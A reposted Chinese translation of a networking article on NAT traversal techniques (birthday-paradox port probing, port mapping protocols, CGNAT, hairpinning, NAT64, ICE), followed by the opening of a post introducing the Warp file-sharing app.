<td>256</td>
<td>64%</td>
</tr>
<tr>
<td>1024</td>
<td>98%</td>
</tr>
<tr>
<td>2048</td>
<td>99.9%</td>
</tr>
</tbody></table>
<p>根据以上结果,如果还是假设 100 ports/s 这样相当温和的探测速率,那 <strong>2 秒钟就有约 50% 的成功概率</strong>。 即使非常不走运,我们仍然能在 <strong>20s 时几乎 100% 穿透成功</strong>,而此时<strong>只探测了总端口空间的 4%</strong>。</p>
<p>非常好!虽然这种 hard NAT 给我们带来了严重的穿透延迟,但最终结果仍然是成功的。 那么,如果是两个 hard NAT,我们还能处理吗?</p>
<h2>7.3 双 hard NAT 场景</h2>
<p><img alt="nat-birthday-attack-2.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-birthday-attack-2.png" /></p>
<p>这种情况下仍然可以用前面的 <strong>多端口+随机探测</strong> 方式,但成功概率要低很多了:</p>
<ul><li>每次通过一台 hard NAT 去探测对方的端口(目的端口)时,我们<strong>自己同时也生成了一个随机源端口</strong>,</li><li>这意味着我们的搜索空间变成了二维 <code>{src port, dst port}</code> 对,而不再是之前的一维 dst port 空间。</li></ul>
<p>这里我们也不就具体计算展开,只告诉结果:仍然<strong>假设目的端打开 256 个端口,从源端发起 2048 次(20 秒)</strong>, 成功的概率是:<strong>0.01%</strong>。</p>
<p>如果你之前学过生日悖论,就并不会对这个结果感到惊讶。理论上来说,</p>
<ul><li>要达到 <strong>99.9% 的成功率</strong>,我们需要两边各进行<strong>170,000 次</strong>探测 —— 如果还是以 100 packets/sec 的速度,就需要 <strong>28 分钟</strong>。</li><li>要达到 <strong>50% 的成功率</strong>,“只”需要 54,000 packets,也就是 <strong>9 分钟</strong>。</li><li>如果不使用生日悖论方式,而且<strong>暴力穷举,需要 1.2 年时间</strong>!</li></ul>
<p><strong>对于某些应用来说,28 分钟可能仍然是一个可接受的时间</strong>。用半个小时暴力穿透 NAT 之后, 这个连接就可以一直用着 —— 除非 NAT 设备重启,那样就需要再次花半个小时穿透建个新连接。但对于 交互式应用来说,这样显然是不可接受的。</p>
<p>更糟糕的是,如果去看常见的办公网路由器,你会震惊于它的 active session low limit 有多么低。 例如,一台 Juniper SRX 300 <strong>最多支持 64,000 active sessions</strong>。 也就是说,</p>
<ul><li>如果我们想创建<strong>一个</strong>成功的穿透连接,<strong>就会把它的整张 session 表打爆</strong> (因为我们要暴力探测 65535 个端口,每次探测都是一条新连接记录)! 这显然要求这台路由器能<strong>从容优雅地处理过载的情况</strong>。</li><li>这只是创建一条连接带来的影响!如果 20 台机器同时对这台路由器发起穿透呢?<strong>绝对的灾难!</strong></li></ul>
<p>至此,我们通过这种方式穿透了比之前更难一些的网络拓扑。这是一个很大的成就,因为 <strong>家用路由器一般都是 easy NAT,hard NAT 一般都是办公网路由器或云 NAT 网关</strong>。 这意味着这种方式能帮我们解决</p>
<ul><li>home-to-office(家->办公室)</li><li>home-to-cloud (家->云)</li></ul>
<p>的场景,以及一部分</p>
<ul><li>office-to-cloud (办公室->云)</li><li>cloud-to-cloud (云->办公室)</li></ul>
<p>场景。</p>
<h2>7.4 控制端口映射(port mapping)过程:UPnP/NAT-PMP/PCP 协议</h2>
<p>如果我们能<strong>让 NAT 设备的行为简单点</strong>,不要把事情搞这么复杂,那建 立连接(穿透)就会简单很多。真有这样的好事吗?还真有,有专门的一种协议叫 <strong>端口映射协议</strong>(port mapping protocols)。通过这种协议禁用掉前面 遇到的那些乱七八糟的东西之后,我们将得到一个非常简单的“请求-响应”。</p>
<p>下面是三个具体的端口映射协议:</p>
<ol><li>
<p><a href="https://openconnectivity.org/developer/specifications/upnp-resources/upnp/internet-gateway-device-igd-v-2-0/" rel="noreferrer noopener" target="_blank">UPnP IGD</a> (Universal Plug’n’Play Internet Gateway Device)</p>
<p>最老的端口控制协议, 诞生于 1990s 晚期,因此使用了很多上世纪 90 年代的技术 (XML、SOAP、<strong>multicast HTTP over UDP —— 对,HTTP over UDP</strong> ),而且很难准确和安全地实现这个协议。但以前很多路由器都内置了 UPnP 协议, 现在仍然很多。</p>
<p>请求和响应:</p>
<ul><li>“你好,请将我的 <code>lan-ip:port</code> 转发到公网(WAN)”,</li><li>“好的,我已经为你分配了一个公网映射 <code>wan-ip:port</code> ”。</li></ul>
</li><li>
<p>NAT-PMP</p>
<p>UPnP IGD 出来几年之后,Apple 推出了一个功能类似的协议,名为 <a href="https://tools.ietf.org/html/rfc6886" rel="noreferrer noopener" target="_blank">NAT-PMP</a> (NAT Port Mapping Protocol)。</p>
<p>但与 UPnP 不同,这个协议<strong>只</strong>做端口转发,不管是在客户端还是服务端,实现起来都非常简单。</p>
</li><li>
<p>PCP</p>
<p>稍后一点,又出现了 NAT-PMP v2 版,并起了个新名字<a href="https://tools.ietf.org/html/rfc6887" rel="noreferrer noopener" target="_blank">PCP</a> (Port Control Protocol)。</p>
</li></ol>
<p>因此要更好地实现穿透,可以</p>
<ol><li><strong>先判断本地的默认网关上是否启用了 UPnP IGD, NAT-PMP and PCP</strong>,</li><li>
<p>如果探测发现其中任何一种协议有响应,我们就<strong>申请一个公网端口映射</strong>,</p>
<p>可以将这理解为一个<strong>加强版 STUN</strong>:我们不仅能发现自己的公网 <code>ip:port</code>,而且能指示我们的 NAT 设备对我们的通信对端友好一些 —— 但并不是为这个端口修改或添加防火墙规则。</p>
</li><li>接下来,任何到达我们 NAT 设备的、地址是我们申请的端口的包,都会被设备转发到我们。</li></ol>
<p>但我们<strong>不能假设这个协议一定可用</strong>:</p>
<ol><li>本地 NAT 设备可能不支持这个协议;</li><li>设备支持但默认禁用了,或者没人知道还有这么个功能,因此从来没开过;</li><li>
<p>安全策略要求关闭这个特性。</p>
<p>这一点非常常见,因为 UPnP 协议曾曝出一些高危漏洞(后面都修复了,因此如果是较新的设备,可以安全地使用 UPnP ——
如果实现没问题)。 不幸的是,某些设备的配置中,UPnP, NAT-PMP,PCP 是放在一个开关里的(可能 统称为 “UPnP”
功能),一开全开,一关全关。因此如果有人担心 UPnP 的安全性,他连另 外两个也用不了。</p>
</li></ol>
<p>最后,终归来说,<strong>只要这种协议可用,就能有效地减少一次 NAT</strong>,大大方便建连过程。 但接下来看一些不常见的场景。</p>
<h2>7.5 多 NAT 协商(Negotiating numerous NATs)</h2>
<p>目前为止,我们看到的客户端和服务端都各只有一个 NAT 设备。如果有多个 NAT 设备会 怎么样?例如下面这种拓扑:</p>
<p><img alt="nat-multiple-layers.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-multiple-layers.png" /></p>
<p>这个例子比较简单,不会给穿透带来太大问题。包从客户端 A <strong>经过多次 NAT</strong> 到达公网的过程,与前面分析的<strong>穿过多层有状态防火墙</strong>是一样的:</p>
<ul><li>额外的这层(NAT 设备)<strong>对客户端和服务端来说都不可见</strong>,我们的穿 透技术也不关心中间到底经过了多少层设备。</li><li><strong>真正有影响的其实只是最后一层设备</strong>,因为对端需要在这一层设备上 找到入口让包进来。</li></ul>
<p>具体来说,真正有影响的是端口转发协议。</p>
<ol><li>客户端使用这种协议分配端口时,为我们分配端口的是最靠近客户端的这层 NAT 设备;</li><li>而我们期望的是让最离客户端最远的那层 NAT 来分配,否则我们得到的就是一个网络中间层分配的 <code>ip:port</code>,对端是用不了的;</li><li>不幸的是,<strong>这几种协议都不能递归地</strong>告诉我们下一层 NAT 设备是多少 —— 虽然可以用 traceroute 之类的工具来探测网络路径,再加上 猜路上的设备是不是 NAT 设备(尝试发送 NAT 请求) —— 但这个就看运气了。</li></ol>
<p>这就是为什么互联网上充斥着大量的文章说 <strong>double-NAT 有多糟糕</strong>,以 及警告用户为保持后向兼容不要使用 double-NAT。但实际上,double-NAT <strong>对于绝大部分 互联网应用来说都是不可见的(透明的)</strong>,因为大部分应用并不需要主动地做这种 NAT 穿 透。</p>
<p>但我也绝不是在建议你在自己的网络中设置 double-NAT。</p>
<ol><li>破坏了端口映射协议之后,某些视频游戏的多人(multiplayer)模式就会无法使用,</li><li>也可能会使你的 IPv6 网络无法派上用场,后者是不用 NAT 就能双向直连的一个好方案。</li></ol>
<p>但如果 double-NAT 并不是你能控制的,那除了不能用到这种端口映射协议之外,其他大部分东西都是不受影响的。</p>
<p>double-NAT 的故事到这里就结束了吗?—— 并没有,而且更大型的 double-NAT 场景将展现在我们面前。</p>
<h2>7.6 运营商级 NAT 带来的问题</h2>
<p>即使用 NAT 来解决 IPv4 地址不够的问题,地址仍然是不够用的,ISP(互联网服务提供商) 显然 无法为每个家庭都分配一个公网 IP 地址。那怎么解决这个问题呢?ISP 的做法是<strong>不够了就再嵌套一层 NAT</strong>:</p>
<ol><li>家用路由器将你的客户端 SNAT 到一个 “intermediate” IP 然后发送到运营商网络,</li><li>ISP’s network 中的 NAT 设备再将这些 intermediate IPs 映射到少量的公网 IP。</li></ol>
<p>后面这种 NAT 就称为“运营商级 NAT”(<strong>carrier-grade NAT</strong>,或称电信级 NAT),缩写 CGNAT。如下图所示:</p>
<p><img alt="nat-cgnat-1.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-cgnat-1.png" /></p>
<p>CGNAT 对 NAT 穿透来说是一个大麻烦。</p>
<ul><li>在此之前,办公网用户要快速实现 NAT 穿透,只需在他们的路由器上手动设置端口映射就行了。</li><li>但有了 CGNAT 之后就不管用了,因为你无法控制运营商的 CGNAT!</li></ul>
<p>好消息是:这其实是 double-NAT 的一个小变种,因此前面介绍的解决方式大部分还仍然是适用的。
某些东西可能会无法按预期工作,但只要肯给 ISP 交钱,这些也都能解决。 除了 port mapping
protocols,其他我们已经介绍的所有东西在 CGNAT 里都是适用的。</p>
<h3>新挑战:同一 CGNAT 侧直连,STUN 不可用</h3>
<p>但我们确实遇到了一个新挑战:如何直连两个在同一 CGNAT 但不同家用路由器中的对端呢?如下图所示:</p>
<p><img alt="nat-cgnat-2.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-cgnat-2.png" /></p>
<p><strong>在这种情况下,STUN 就无法正常工作了</strong>:STUN 看到的是客户端在公网(CGNAT 后面)看到的地址, 而我们想获得的是在 “middle network” 中的 <code>ip:port</code>,这才是对端真正需要的地址,</p>
<h3>解决方案:如果端口映射协议能用:一端做端口映射</h3>
<p>怎么办呢?</p>
<p>如果你想到了端口映射协议,那恭喜,答对了!<strong>如果 peer 中任何一个 NAT 支持端口映射协议</strong>, 对我们就能实现穿透,因为它分配的 <code>ip:port</code> 正是对端所需要的信息。</p>
<p>这里讽刺的是:double-NAT(指 CGNAT)破坏了端口映射协议,但在这里又救了我们! 当然,我们假设这些协议一定可用,因为 CGNAT ISP 倾向于在它们的家用路由器侧关闭 这些功能,已避免软件得到“错误的”结果,产生混淆。</p>
<h3>解决方案:如果端口映射协议不能用:NAT hairpin 模式</h3>
<p>如果不走运,NAT 上没有端口映射功能怎么办?</p>
<p>让我们回到基于 STUN 的技术,看会发生什么。两端在 CGNAT 的同一侧,假设 STUN 告诉我们 A 的地址是 <code>2.2.2.2:1234</code>,B 的地址是 <code>2.2.2.2:5678</code>。</p>
<p>那么接下来的问题是:如果 A 向 <code>2.2.2.2:5678</code> 发包会怎么样?期望的 CGNAT 行为是:</p>
<ol><li>执行 A 的 NAT 映射规则,即对 <code>2.2.2.2:1234 -> 2.2.2.2:5678</code> 进行 SNAT。</li><li>注意到目的地址 <code>2.2.2.2:5678</code> 匹配到的是 B 的入向 NAT 映射,因此接着对这个包执行 DNAT,将目的 IP 改成 B 的私有地址。</li><li>通过 CGNAT 的 internal 接口(而不是 public 接口,对应公网)将包发给 B。</li></ol>
<p>这种 NAT 行为有个专门的术语,叫 <strong>hairpinning</strong>(直译为发卡,意思 是像发卡一样,沿着一边上去,然后从另一边绕回来),</p>
<p><img alt="hairpin-icon.png" src="https://arthurchiao.art/assets/img/nat-traversal/hairpin-icon.png" /></p>
<p>大家应该猜到的一个事实是:<strong>不是所以 NAT 都支持 hairpin 模式</strong>。 实际上,大量 well-behaved NAT 设备都不支持 hairpin 模式,</p>
<ul><li>因为它们都有 <strong>“只有 src_ip 是私有地址且 dst_ip 是公网地址的包才会经过我”</strong> 之类的假设。</li><li>因此对于这种目的地址不是公网、需要让路由器把包再转回内网的包,它们会<strong>直接丢弃</strong>。</li><li>这些逻辑甚至是直接实现在路由芯片中的,因此除非升级硬件,否则单靠软件编程无法改变这种行为。</li></ul>
<p>Hairpin 是所有 NAT 设备的特性(支持或不支持),并不是 CGNAT 独有的。</p>
<ol><li>
<p>在大部分情况下,这个特性对我们的 NAT 穿透目的来说都是无所谓的,因为我们期望中 <strong>两个 LAN NAT 设备会直接通信,不会再向上绕到它们的默认网关 CGNAT 来解决这个问题</strong>。</p>
<p>Hairpin 特性可有可无这件事有点遗憾,这可能也是为什么 hairpin 功能经常 broken 的原因。</p>
</li><li>
<p>一旦必须涉及到 CGNAT,那 hairpinning 对连接性来说就至关重要了。</p>
<p>Hairpinning 使内网连接的行为与公网连接的行为完成一致,因此我们无需关心目的 地址类型,也不用知晓自己是否在一台 CGNAT 后面。</p>
</li></ol>
<p><strong>如果 hairpinning 和 port mapping protocols 都不可用,那只能降级到中继模式了</strong>。</p>
<h2>7.7 全 IPv6 网络:理想之地,但并非问题全无</h2>
<p>行文至此,一些读者可能已经对着屏幕咆哮:<strong>不要再用 IPv4 了!</strong> 花这么多时间精力解决这些没意义的东西,还不如直接换成 IPv6!</p>
<ul><li>的确,之所以有这些乱七八糟的东西,就是因为 IPv4 地址不够了,我们<strong>一直在用越来越复杂的 NAT 来给 IPv4 续命</strong>。</li><li>如果 IP 地址够用,无需 NAT 就能让世界上的每个设备都有一个自己的公网 IP 地址,这些问题不就解决了吗?</li></ul>
<p>简单来说,是的,这也正是 IPv6 能做的事情。但是,也只说对了一半:在理想的全 IPv6 世界中,所有这些东西会变得更加简单,但我们面临的<strong>问题并不会完全消失</strong> —— 因为<strong>有状态防火墙仍然还是存在的</strong>。</p>
<ul><li>办公室中的电脑可能有一个公网 IPv6 地址,但你们公司肯定会架设一个防火墙,只允许 你的电脑主动访问公网,而不允许反向主动建连。</li><li>其他设备上的防火墙也仍然存在,应用类似的规则。</li></ul>
<p>因此,我们仍然会用到</p>
<ol><li>本文最开始介绍的防火墙穿透技术,以及</li><li>帮助我们获取自己的公网 <code>ip:port</code> 信息的旁路信道</li><li>仍然需要在某些场景下 fallback 到中继模式,例如 fallback 到最通用的 HTTP 中继 协议,以绕过某些网络禁止 outbound UDP 的问题。</li></ol>
<p>但我们现在可以抛弃 <strong>STUN、生日悖论、端口映射协议、hairpin</strong> 等等东西了。 这是一个好消息!</p>
<h3>全球 IPv4/IPv6 部署现状</h3>
<p>另一个更加严峻的现实问题是:当前并不是一个全 IPv6 世界。目前世界上</p>
<ul><li>大部分还是 IPv4,</li><li><a href="https://www.google.com/intl/en/ipv6/statistics.html" rel="noreferrer noopener" target="_blank">大约 33% 是 IPv6</a>,而且分布极度不均匀,因此某些 通信对所在的可能是 100% IPv6,也可能是 0%,或二者之间。</li></ul>
<p>不幸的是,这意味着,IPv6 **还**无法作为我们的解决方案。 就目前来说,它只是我们的工具箱中的一个备选。对于某些 peer
来说,它简直是完美工 具,但对其他 peer 来说,它是用不了的。如果目标是“任何情况下都能穿透(连接) 成功”,那我们就仍然需要
IPv4+NAT 那些东西。</p>
<h3>新场景:NAT64/DNS64</h3>
<p>IPv4/IPv6 共存也引出了一个新的场景:NAT64 设备。</p>
<p><img alt="nat-ipv6.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-ipv6.png" /></p>
<p>前面介绍的都是 NAT44 设备:它们将一个 IPv4 地址转换成另一 IPv4 地址。 NAT64 从名字可以看出,是将一个内侧
IPv6 地址转换成一个外侧 IPv4 地址。 利用 DNS64 设备,我们能将 IPv4 DNS 应答给 IPv6
网络,这样对终端来说,它看到的就是一个 全 IPv6 网络,而仍然能访问 IPv4 公网。</p>
<blockquote>Incidentally, you can extend this naming scheme
indefinitely. There have been some experiments with NAT46; you could
deploy NAT66 if you enjoy chaos; and some RFCs use NAT444 for
carrier-grade NAT.</blockquote>
<p>如果需要处理 DNS 问题,那这种方式工作良好。例如,如果连接到 google.com,将这个域名解析成 IP 地址的过程会涉及到 DNS64 设备,它又会进一步 involve NAT64 设备,但后一步对用户来说是无感知的。</p>
<p>但<strong>对于 NAT 和防火墙穿透来说,我们会关心每个具体的 IP 地址和端口</strong>。</p>
<h3>解决方案:CLAT (Customer-side transLATor)</h3>
<p>如果设备支持 CLAT (Customer-side translator — from Customer XLAT),那我们就很幸运:</p>
<ul><li><strong>CLAT 假装操作系统有直接 IPv4 连接,而背后使用的是 NAT64</strong>,以对应用程序无感知。 在有 CLAT 的设备上,我们无需做任何特殊的事情。</li><li>CLAT <strong>在移动设备上非常常见</strong>,但在桌面电脑、笔记本和服务器上非常少见, 因此在后者上,必须自己做 CLAT 做的事情:检测 NAT64+DNS64 的存在,然后正确地使用它们。</li></ul>
<h3>解决方案:CLAT 不存在时,手动穿透 NAT64 设备</h3>
<ol><li>
<p>首先检测是否存在 NAT64+DNS64。</p>
<p>方法很简单:向 <code>ipv4only.arpa.</code> 发送一个 DNS 请求。这个域名会解析 到一个已知的、固定的 IPv4 地址,而且是<strong>纯 IPv4 地址</strong>。如果得到的 是一个 IPv6 地址,就可以判断有 DNS64 服务器做了转换,而它必然会用到 NAT64。这样 就能判断出 NAT64 的前缀是多少。</p>
</li><li>
<p>此后,要向 IPv4 地址发包时,发送格式为<code>{NAT64 prefix + IPv4 address}</code> 的 IPv6 包。 类似地,收到来源格式为 <code>{NAT64 prefix + IPv4 address}</code> 的包时,就是 IPv4 流量。</p>
</li><li>
<p>接下来,通过 NAT64 网络与 STUN 通信来获取自己在 NAT64 上的公网 <code>ip:port</code>,接 下来就回到经典的 NAT 穿透问题了 —— 除了需要多做一点点事情。</p>
</li></ol>
<p>幸运的是,如今的大部分 v6-only 网络都是移动运营商网络,而几乎所有手机都支持 CLAT。 运营 v6-only 网络的
ISPs 会在他们给你的路由器上部署 CLAT,因此最后你其实不需要做什么事情。 但如果想实现 100%
穿透,就需要解决这种边边角角的问题,即必须显式支持从 v6-only 网络连接 v4-only 对端。</p>
<h2>7.8 将所有解决方式集成到 ICE 协议</h2>
<h3>针对具体场景,该选择哪种穿透方式?</h3>
<p>至此,我们的 NAT 穿透之旅终于快结束了。我们已经覆盖了有状态防火墙、简单和高级 NAT、IPv4 和 IPv6。只要将以上解决方式都实现了,NAT 穿透的目的就达到了!</p>
<p>但是,</p>
<ul><li>对于给定的 peer,如何判断改用哪种方式呢?</li><li>如何判断这是一个简单有状态防火墙的场景,还是该用到生日悖论算法,还是需要手动处理 NAT64 呢?</li><li>还是通信双方在一个 WiFi 网络下,连防火墙都没有,因此不需要任何操作呢?</li></ul>
<p><strong>早期 NAT 穿透</strong>比较简单,能让我们<strong>精确判断出 peer 之间的路径特点</strong>,然后针对性地采用相应的解决方式。 但后面,网络工程师和 NAT 设备开发工程师引入了一些新理念,给路径判断造成很大困难。因此 我们需要简化客户端侧的思考(判断逻辑)。</p>
<p>这就要提到 Interactive Connectivity Establishment (ICE,交换式连接建立) 协议了。 与 STUN/TURN 类似,ICE 来自<strong>电信领域</strong>,因此其 RFC 充满了 SIP、SDP、信令会话、拨号等等电话术语。 但如果忽略这些领域术语,我们会看到它<strong>描述了一个极其优雅的判断最佳连接路径的算法</strong>。</p>
<p>真的?这个算法是:<strong>每种方法都试一遍,然后选择最佳的那个方法</strong>。就是这个算法,惊喜吗?</p>
<p>来更深入地看一下这个算法。</p>
<h3>ICE (Interactive Connectivity Establishment) 算法</h3>
<p>这里的讨论不会严格遵循 ICE spec,因此如果是在自己实现一个可互操作的 ICE 客户端,应该通读<a href="https://tools.ietf.org/html/rfc8445" rel="noreferrer noopener" target="_blank">RFC 8445</a>, 根据它的描述来实现。这里忽略所有电信术语,只关注核心的算法逻辑, 并提供几个在 ICE 规范允许范围的灵活建议。</p>
<ol><li>
<p>为实现和某个 peer 的通信,首先需要确定我们自己用的(客户端侧)这个 socket 的地址, 这是一个列表,至少应该包括:</p>
<ol><li>我们自己的 IPv6 <code>ip:ports</code></li><li>我们自己的 IPv4 LAN <code>ip:ports</code>(局域网地址)</li><li>通过 STUN 服务器获取到的我们自己的 IPv4 WAN <code>ip:ports</code>(<strong>公网地址</strong>,可能会经过 NAT64 转换)</li><li>通过端口映射协议获取到的我们自己的 IPv4 WAN <code>ip:port</code>(NAT 设备的<strong>端口映射协议分配的公网地址</strong>)</li><li>运营商提供给我们的 endpoints(例如,<strong>静态配置的端口转发</strong>)</li></ol>
</li><li>
<p>通过旁路信道与 peer 互换这个列表。两边都拿到对方的列表后,就开始互相探测对方提供的地址。 <strong>列表中地址没有优先级</strong>,也就是说,如果对方给的了 15 个地址,那我们应该把这 15 个地址都探测一遍。</p>
<p>这些<strong>探测包有两个目的</strong>:</p>
<ol><li><strong>打开防火墙,穿透 NAT</strong>,也就是本文一直在介绍的内容;</li><li><strong>健康检测</strong>。我们在不断交换(最好是已认证的)“ping/pong” 包,来检测某个特定的路径是不是端到端通的。</li></ol>
</li><li>
<p>最后,一小会儿之后,从可用的备选地址中(根据某些条件)选择“最佳”的那个,任务完成!</p>
</li></ol>
<p>这个算法的优美之处在于:只要选择最佳线路(地址)的算法是正确的,那就总能获得最佳路径。</p>
<ul><li>ICE 会预先对这些备选地址进行排序(通常:LAN > WAN > WAN+NAT),但用户也可以自己指定这个排序行为。</li><li>从 v0.100.0 开始,Tailscale 从原来的 hardcode 优先级切换成了根据 round-trip latency 的方式,它大部分情况下排序的结果和 <code>LAN > WAN > WAN+NAT</code> 是一致的。 但相比于静态排序,我们是动态计算每条路径应该属于哪个类别。</li></ul>
<p>ICE spec 将协议组织为两个阶段:</p>
<ol><li>探测阶段</li><li>通信阶段</li></ol>
<p>但不一定要严格遵循这两个步骤的顺序。在 Tailscale,</p>
<ul><li>我们发现更优的路径之后就会自动切换过去,</li><li>所有的连接都是先选择 DERP 模式(中继模式)。这意味着连接立即就能建立(<strong>优先级最低但 100% 能成功的模式</strong>),用户不用任何等待,</li><li>然后并行进行路径发现。通常几秒钟之后,我们就能发现一条更优路径,然后将现有连接透明升级(upgrade)过去。</li></ul>
<p>但有一点需要关心:非对称路径。ICE 花了一些精力来保证通信双方选择的是相同的网络 路径,这样才能保证这条路径上有双向流量,能保持防火墙和
NAT 设备的连接一直处于 open 状态。
自己实现的话,其实并不需要花同样大的精力来实现这个保证,但需要确保你所有使用的所有路径上,都有双向流量。
这个目标就很简单了,只需要定期在所有已使用的路径上发 ping/pong 就行了。</p>
<h3>健壮性与降级</h3>
<p>要实现健壮性,还需要检测当前已选择的路径是否已经失败了(例如,NAT 设备维护清掉了所有状态), 如果失败了就要<strong>降级(downgrade)到其他路径</strong>。这里有两种方式:</p>
<ol><li>持续探测所有路径,维护一个降级时会用的备用地址列表;</li><li>
<p><strong>直接降级到保底的中继模式</strong>,然后再通过路径探测升级到更好的路径。</p>
<p>考虑到发生降级的概率是非常小的,因此这种方式可能是<strong>更经济</strong>的。</p>
</li></ol>
<h2>7.9 安全</h2>
<p>最后需要提到安全。</p>
<p>本文的所有内容都假设:我们使用的<strong>上层协议已经有了自己的安全机制</strong>( 例如 QUIC 协议有 TLS 证书,WireGuard 协议有自己的公钥)。 如果还没有安全机制,那显然是要立即补上的。一旦动态切换路径,<strong>基于 IP 的安全机制就是无用的了</strong> (IP 协议最开始就没怎么考虑安全性),至少要有<strong>端到端的认证</strong>。</p>
<ul><li>严格来说,如果上层协议有安全机制,那即使收到是欺骗性的 ping/pong 流量,问题都不大, 最坏的情况也就是<strong>攻击者诱导两端通过他们的系统来中继流量</strong>。 而有了端到端安全机制,这并不是一个大问题(取决于你的威胁模型)。</li><li>但出于谨慎考虑,最好还是对路径发现的包也做认证和加密。具体如何做可以咨询你们的应用安全工程师。</li></ul>
<p>我们终于完成了 NAT 穿透的目标!</p>
<p>如果实现了以上提到的所有技术,你将得到一个业内领先的 NAT 穿透软件,能在绝大多数场景下实现端到端直连。 如果直连不了,还可以降级到保底的中继模式(对于长尾来说只能靠中继了)。</p>
<p>但这些工作相当复杂!其中一些问题研究起来很有意思,但很难做到完全正确,尤其是那些 非常边边角角的场景,真正出现的概率极小,但解决它们所需花费的经历又极大。 不过,这种工作只需要做一次,一旦解决了,你就具备了某种超级能力: 探索令人激动的、相对还比较崭新的<strong>端到端应用</strong>(peer-to-peer applications)世界。</p>
<h2>8.1 跨公网 端到端直连</h2>
<p><strong>去中心化软件</strong>领域中的许多有趣想法,简化之后其实都变成了 <strong>跨过公网(互联网)实现端到端直连</strong> 这一问题,开始时可能觉得很简单,但真正做才 发现比想象中难多了。现在知道如何解决这个问题了,动手开做吧!</p>
<h2>8.2 结束语之 TL; DR</h2>
<p>实现健壮的 NAT 穿透需要下列基础:</p>
<ol><li>一种基于 UDP 的协议;</li><li>能在程序内直接访问 socket;</li><li>有一个与 peer 通信的旁路信道;</li><li>若干 STUN 服务器;</li><li>一个保底用的中继网络(可选,但强烈推荐)</li></ol>
<p>然后需要:</p>
<ol><li>遍历所有的 <code>ip:port</code>;</li><li>查询 STUN 服务器来获取自己的公网 <code>ip:port</code> 信息,以及判断自己这一侧的 NAT 的“难度”(difficulty);</li><li>使用 port mapping 协议来获取更多的公网 <code>ip:ports</code>;</li><li>检查 NAT64,通过它获取自己的公网 <code>ip:port</code>;</li><li>将自己的所有公网 <code>ip:ports</code> 信息通过旁路信道与 peer 交换,以及某些加密秘钥来保证通信安全;</li><li>通过保底的中继方式与对方开始通信(可选,这样连接能快速建立)</li><li>如果有必要/想这么做,探测对方的提供的所有 <code>ip:port</code>,以及执行生日攻击(birthday attacks)来穿透 harder NAT;</li><li>发现更优路径之后,透明升级到该路径;</li><li>如果当前路径断了,降级到其他可用的路径;</li><li>确保所有东西都是加密的,并且有端到端认证。</li></ol>
<p><a href="https://arthurchiao.art/blog/everything-about-pki-zh/" rel="noreferrer noopener" target="_blank">« [译] 写给工程师:关于证书(certificate)和公钥基础设施(PKI)的一切(SmallStep, 2018)</a> <a href="https://arthurchiao.art/blog/formal-requirements-for-virtualizable-arch-zh/" rel="noreferrer noopener" target="_blank">[译] [论文] 可虚拟化第三代(计算机)架构的规范化条件(ACM, 1974) »</a></p>
<hr /><p style="text-indent: 0;"><a href="https://arthurchiao.art/blog/how-nat-traversal-works-zh/" target="_blank">https://arthurchiao.art/blog/how-nat-traversal-works-zh/</a></p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-72971878470240076862023-08-06T21:39:00.008+08:002023-08-18T23:55:15.990+08:00Warp: 一种安全的跨平台文件共享应用<div class="flex flex-col gap-4 px-1 my-4"><br />via <a href="https://here.news/post/11dc8243-b3a8-4fc2-8818-6be51e86b724/warp-%E4%B8%80%E7%A7%8D%E5%AE%89%E5%85%A8%E7%9A%84%E8%B7%A8%E5%B9%B3%E5%8F%B0%E6%96%87%E4%BB%B6%E5%85%B1%E4%BA%AB%E5%BA%94%E7%94%A8">here.news</a><br /><div class="SinglePost_SinglePost__3in7m"><p>在 Linux 和 Windows 之间安全地共享文件的无缝方式?试试这个!</p><p>在我们的首次尝试系列文章中,我们发现了一种在 Linux 和 Windows 系统之间传输文件的安全高效方法。</p><p>一个名为“Warp”的工具,是 GNOME Circle 的一部分,包含扩展 GNOME 生态系统的应用程序。Warp 通过互联网或本地网络实现文件的无缝传输。</p><p>让我们来看看它。</p><h2>Warp:概述⭐</h2><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/56e93ef3-e574-4ed4-9fd7-010abe3abf31_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/56e93ef3-e574-4ed4-9fd7-010abe3abf31_image_image.png" /></div><p>Warp 主要用 Rust 编程语言编写,是一个基于 GTK 的文件传输应用,使用“Magic Wormhole”协议在互联网/本地网络上进行文件传输。</p><p><b>所有文件传输都是加密的,接收者必须使用基于单词的代码来访问文件,以防止任何滥用。</b></p><p>允许我向您展示它是如何工作的。</p><p>当您第一次启动应用程序时,您会看到一个欢迎屏幕和一个关于 Warp 的简短介绍。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/db14772c-b7a0-4b8c-8af1-0fd444b01503_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/db14772c-b7a0-4b8c-8af1-0fd444b01503_image_image.png" /></div><p>继续后,您将进入“发送”菜单,可以选择要发送的文件或文件夹。</p><blockquote><p>📋您还可以将文件和文件夹拖放到应用程序中。</p></blockquote><p>Warp发送文件页面的屏幕截图</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/870dfce4-0a86-4def-b506-4752544f36c5_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/870dfce4-0a86-4def-b506-4752544f36c5_image_image.png" /></div><p></p><p>处理后,将显示一个屏幕,其中包含文本和二维码形式的传输代码。您必须将其安全发送给接收者,他们可以开始下载文件。</p><blockquote><p>📋由于 Warp 是一个跨平台应用,您可以在 Linux 和 Windows 系统之间发送文件。</p></blockquote><p>Warp传输代码页面的屏幕截图</p><p>那么,接收方看起来如何呢?</p><p>好吧,他们必须进入“接收”菜单,将传输代码粘贴到文本框中。他们还可以扫描二维码将确切文本复制到其设备上。</p><div data-file="" data-filetype="image/png" 